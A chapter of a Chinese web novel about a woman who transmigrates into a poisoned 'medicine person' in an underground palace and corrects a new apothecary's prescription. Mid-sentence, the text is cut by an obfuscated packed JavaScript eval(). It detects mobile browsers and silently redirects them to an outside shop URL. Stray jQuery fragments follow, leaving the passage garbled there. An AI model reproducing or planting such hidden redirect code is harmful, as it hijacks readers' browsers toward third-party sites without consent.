文趣网 > 其他小说 > 速死炮灰被读心声后 > 25. 025
    “好了。”

    旁侧传来简短的两个字,腰肢被人稍加用力向上托起,容峣配合地踩上桶底,从药液中站起。

    水花漫出浴桶,她刚抬脚跨出去,立即有人捧着细软的长帕来擦拭身体,动作轻柔得像是对待一件易碎品。

    借着旁人替她穿衣的间隙,容峣视线微转,很快落在四周环绕的水镜上。

    镜子一共四面,分布在四个方位,约莫一人高,将屋内角角落落尽数映照。

    其中最惹眼的,是一抹黑白分明的纤细身影。

    乌黑的长发披散于腰间,正被人用灵力细致地寸寸烘干,而裸露的肌肤却苍白到近乎透明,血管跃于表面交错横生,清晰到仿佛能看到内里流动。

    从头到脚只有乌黑和苍白两种颜色,脆弱得像是摇摇欲坠的蜻蜓翅膀。

    就连衣物也是轻薄的白纱,内里只有两块白缎遮住上下,比之前在恶水城的舞服都要暴露。

    对此容峣倒是没什么意见,左右都是将死之人,就当走了个内衣秀,还能本色出演一下女鬼。

    收回视线,她脸上流露出恰当的疲态,又撑起一抹笑意:“多谢各位姐姐。”

    五名侍女微微颔首算是回应,虽然神色算得上温和,却透着一股不愿多言的疏离。

    和原主一样,容峣对此表现出习以为常,打了个招呼就往外走。

    大厅灯火通明,不见天日的地宫,只能依靠灯火和夜明珠区分日夜,看系统时间接近亥时。

    在烛火熄灭露出夜明珠的莹光前,容峣越过自三楼垂下具有安神效用的木帘,根据记忆信步朝二楼走去,回到门侧挂着“十二”小牌的房间。

    这就是原主生活了十年的地方,除去一床一柜一桌两椅,再无旁的器具。

    房内空间不算小,在单薄的摆设下,更显空落。

    随手拉开唯一有所遮掩的衣柜,里边也是清一色的白纱和短缎,同身上穿着如出一辙,全无一点个人用品。

    懒懒收回视线,知晓任务节点在明晚,容峣闲来无事,盘腿坐在床上,习惯性地内视己身。

    这具身体的资质倒是比上个任务的吕桦月好出不少,至少灵脉完好无损,可惜早已被毒素侵蚀殆尽,徒有其表罢了。

    连方才的沐浴都有人以特殊手法,将药液更多地浸入身体,说一句被毒腌入味也不为过。

    好在这次任务是自尽,主动权掌握在自己手里,资质好坏也无关紧要。

    想到这,容峣心情稍好,就算这个任务的气运之子不按剧情走,难道还能拦着她寻死不成?

    唯一麻烦点的是死法固定,还得当着他的面才行。

    将脑中模糊的记忆和设定过一遍,她躺下卷了卷被子,安心睡去。

    好在系统暂且没发现这边的异常,在这之前,她怎么也得扳回一局。

    ——

    翌日,刚到辰时,脑子尚且迷蒙,身体却先一步苏醒,容峣本能地从床上坐起。

    像是上了发条,一到时间就做出特定的动作。

    坐在床上缓了缓,她对此有些无奈,却也并不抗拒,习以为常地走出房门。

    同原主一样,按照每天的固定流程,吃药、检查身体、泡药、抽血、吃药......

    做完这些事,已经是申时,在酉时的检查前,难得有两个时辰的空闲,算是临终关怀。

    想了想,容峣朝药房走去。

    刚一进门,原本穿梭在柜墙与案桌间的药师和小童倏尔后退,眼疾手快地从腰间扯过一块白布系在口鼻间。

    对她微微颔首,所有人接着做自己的事,只是随着容峣往内移动,她周围始终保持着三米左右的真空圈,无人敢跨进这个距离。

    要知道作为活得最久,堪称奇迹的药人,她连呼吸间都带着些微毒素,没人敢靠近也正常。

    若是原主,还会对此情况感到些许失落,但容峣目不斜视地走到角落,自然地坐下等人。

    很快,她等的人也发现外间的异常,匆匆从足有数百面的药柜深处出来,将自己包裹严实后,毫不犹豫地跨过真空距离,亲热地挽着她的胳膊。

    “十二,来了怎么不去叫我?还是我先看到你。”

    将眼前的少女同记忆中模糊的影子对上,容峣也露出一点真心的笑意,视线落到她手中的药包上,又带着点局促:“青桐,我是不是打扰你了?”

    随手将药包搁在案桌上,青桐摆摆手,满不在意:“没事,本就是我让你过来的,说什么打不打扰。”

    “倒是你,”她话音一顿,眼中难掩担忧:“你还好吗?”

    因着身份特殊,如今整个地宫的人,都知晓她今晚会跳入蛊池,而能真心实意替她担心的,怕也只有这一个人。

    咬咬唇,青桐的余光掠过其他人,见没人注意这边才小声道:“卫玖他,也很担心你。”

    哦,还有一个。

    原主,青桐,以及她口中的卫玖,是同一个村子的唯三幸存者,在景家处理掉发狂的海妖后,三人也被收留于此。

    脑中回忆着设定,容峣唇角微扬,眼底浮出光彩:“我没事。”

    “能帮上公子,我很高兴。”

    嗯,原主还是个有情饮水饱的恋爱脑。

    成为药人也是她自愿的,多少次从濒死状态中坚持过来,也是因为一个信念——

    报答公子。

    当初将她从海妖口中救出的,正是从天而降的气运之子,景绪宁。

    很老套的设定,但架不住合理,不管是出于吊桥效应还是气运之子光环,总之原主爱得自愿成为药人。

    只是这名字,怎么有点耳熟?

    没等她想更多,青桐恨铁不成钢地戳了戳她的额头:“你怎么还惦记着他?公子他不是你想的那般......”

    她欲言又止,但在看到十二额头上被她戳出的红印后,倒吸一口气。

    “完了完了,居然留下印子!”

    整个地宫,除去蛊池里的东西,十二就是最为珍贵的存在。

    这点已经成为所有人的共识,青桐着急忙慌地要去找伤药,还没等容峣开口安抚,对面传来一道不轻不重的冷哼声。

    留着山羊胡的男人拿着小秤,看似专注,目光没往她们这边挪半分,说出的话却毫不客气。

    “一介药人还敢到处乱跑,怕不是忘了自个儿身份,真会给人添麻烦。”

    哦?这倒是意外,容峣清楚原主的处境,虽说几乎没人把她当人,却也是细心呵护的宝贝。

    当着她面蛐蛐的,还是有史以来头一遭。

    就连青桐也睁大了眼,当即反驳:“你怎么说话的!”

    他却连看都没看她一眼,只斜斜扫过容峣,从鼻孔

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532470|203733||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    哼出一声:“看什么看,我说的难道有错?”

    “你!”青桐看着没怎么跟人吵过架,脸都憋红了也只是怒目而视,又因对方身份比她高,除此之外也做不了什么,干脆转头安慰好友。

    “你别听他瞎说,十二,你想去哪就去哪,才不是麻烦!”

    反驳不了药人的身份,她只能否定后半句。

    由于这边没什么人,声音也没刻意压低,不少人已经停下手中动作,自以为不经意地看过来。

    淡定地收回视线,容峣状似犹豫一下,才小声道:“你药配错了。”

    药理相通,就算这些药材长得有些出入,但原主也算是久病成良医,对常见的药材熟稔于心。

    她只是看一眼,就知道山羊胡想配什么。

    “竖子无礼!”这下换山羊胡怒目而视,瞪圆了眼。

    他可以无视青桐,却不能对此等挑衅视而不见。

    刚入药房不久,他还没来得及施展才华立住脚跟,岂容这等小人污蔑?

    “区区药人,又认得几个药材,懂什么药理!”见越来越多的人看过来,山羊胡提高音量怒骂一句。

    下意识看了眼铺在桌案上的药材,他眼底的恼怒瞬间被自信和从容取代。

    缓了缓声音,他装作悉心请教的模样:“那你说说,哪里出错了?”

    若是其他药方,他还不会这般有底气,但这副,呵呵,刚好借这个蠢货立威!

    不安地扯了扯容峣的袖口,青桐低声道:“他是新来的药师,听闻还是夫人特意请来的,这么简单的药他......”

    “应当不会配错”几个字卡在喉咙,说出来有长他人志气的嫌疑,但她也看出来山羊胡配的是最基础的升血丹,这方子药房里就有,连她都会配。

    眯了眯眼,山羊胡似乎也听到她的话,嘴角勾起一点弧度,摸了摸胡子:“到底是年轻,不懂的事就不要胡咧,否则只会让人觉得无知。”

    “既是药人,就老老实实待在......”

    还没等他趾高气昂地指点完,容峣望着案桌,认真道:“白芍减半钱。”

    见她真有胆子胡诌,山羊胡唇边笑意扩大,不慌不忙:“唉,年轻人就是冲动,不过认得一味药材,就真当自己懂药理。”

    “这方子,”他话音一顿,用所有人都听得到的声音继续:“可是陶老亲自写的!”

    此话一出,原本还等着看好戏的人,落到容峣身上的视线,瞬间带上对她无礼的责备。

    无所谓地耸了下肩膀,她不过随口一说,并不在意这些npc的看法。

    原主也算是个活泼开朗的性子,最重要的是眼里只有心上人,对其他人在意得不多,容峣毫无顾忌:“信不信随你。”

    见她并未露出想象中的惶恐和求饶,山羊胡眼底闪过暗芒,不愿就此揭过,立即肃声道:“你这是什么态度?既然知错,还不道歉,是觉得陶老都及不上你吗!”

    这话就有些刻意,但在场之人却都没觉得不对,陶老是何等人物,怎能容她污蔑。

    考虑到她的身份,有人想开口劝一句,却被身后一道饶有兴致的女声打断。

    “谁?我及不上谁?”

    “陶老!”带着紧张和恭敬的招呼声,此起彼伏地在人群中响起,随后自发地让开一条道,完全暴露出站在门口的女人。